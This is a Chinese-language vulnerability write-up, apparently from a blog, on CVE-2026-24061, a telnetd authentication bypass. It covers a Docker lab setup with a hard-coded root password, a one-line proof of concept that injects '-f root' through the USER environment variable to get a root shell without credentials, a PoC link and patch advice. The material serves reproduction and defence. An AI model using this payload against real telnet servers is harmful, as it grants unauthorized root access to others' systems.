CVE-2026-24061 telnet远程认证绕过
漏洞概述
CVE-2026-24061是由环境变量引起的漏洞,GNU inetutils-telnetd中的一个漏洞允许远程攻击者通过 telnet 选项绕过认证NEW_ENVIRON。通过发送包含“-f root”值的自定义USER环境变量,攻击者可以欺骗登录进程在没有凭证的情况下授予shell
漏洞影响
GNU inetutils-telnetd 版本 2.6 之前
检测命令
dpkg -S /usr/sbin/telnetd && telnetd --version

细节原理:
telnetd 守护进程将 USER 环境变量从传输中直接传递NEW_ENVIRON到 /bin/login。当值为“-f root”时,登录时会将其解读为命令行标志,表示已进行预认证,从而完全绕过密码验证。
漏洞复现
环境准备
docker环境,使用dockerfile
创建dockerfile
FROM ubuntu:24.04
# 避免交互式安装提示
ENV DEBIAN_FRONTEND=noninteractive
# 更新软件源 + 安装必要的软件包 + 清理缓存
RUN apt-get update && \
apt-get install -y \
openbsd-inetd \
inetutils-telnetd \
telnet \
passwd && \
apt-get clean && \
rm -rf /var/lib/apt/lists/*
# 启用 telnet 服务(把 #<off># 开头的行取消注释)
RUN sed -i 's/^#<off># telnet/telnet/' /etc/inetd.conf
# 设置 root 密码(生产环境强烈不建议这样做,仅用于测试/学习)
RUN echo "root:root123" | chpasswd
# 暴露 telnet 默认端口
EXPOSE 23
# 启动 inetd(-d 表示 debug 模式,会在前台输出日志,便于调试)
CMD ["/usr/sbin/inetd", "-d"]
快速搭建
# 构建镜像
docker build -t my-telnet:test .
# 运行(映射 23 端口,建议只本地测试)
docker run -d -p 127.0.0.1:2323:23 --name test-telnet my-telnet:test
# 连接测试(在本机)
telnet 127.0.0.1 2323
# 登录:root / root123

漏洞验证
poc
USER='-f root' telnet -a ip port
验证
USER='-f root' telnet -a 127.0.0.1 2323

成功登录
漏洞验证脚本
https://github.com/JayGLXR/CVE-2026-24061-POC.git
防御建议
- 立即补丁与更新
- 将telnet升级到2.6版本以上
- 协议替代与停用
- 弃用 Telnet:Telnet 本身是明文协议,且代码库陈旧。
- 关闭不必要的监听:如果你不需要远程访问,请关闭
inetd监听:
免责声明
本文档所包含的漏洞复现方法、技术细节及利用代码,仅限用于授权的安全测试、教育学习与研究目的。
严禁在未获得明确授权的情况下,对任何系统进行测试或攻击。任何不当使用所导致的法律责任及后果,均由使用者自行承担。
作者与文档提供者不承担任何因滥用本文档信息而产生的直接或间接责任。请遵守您所在地的法律法规,并始终践行负责任的网络安全实践。
浙公网安备 33010602011771号